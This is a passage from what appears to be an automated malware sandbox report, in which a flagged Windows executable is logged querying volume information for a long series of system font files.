                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\seguisli.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\seguili.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\seguisbi.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\seguibl.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\seguibli.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation
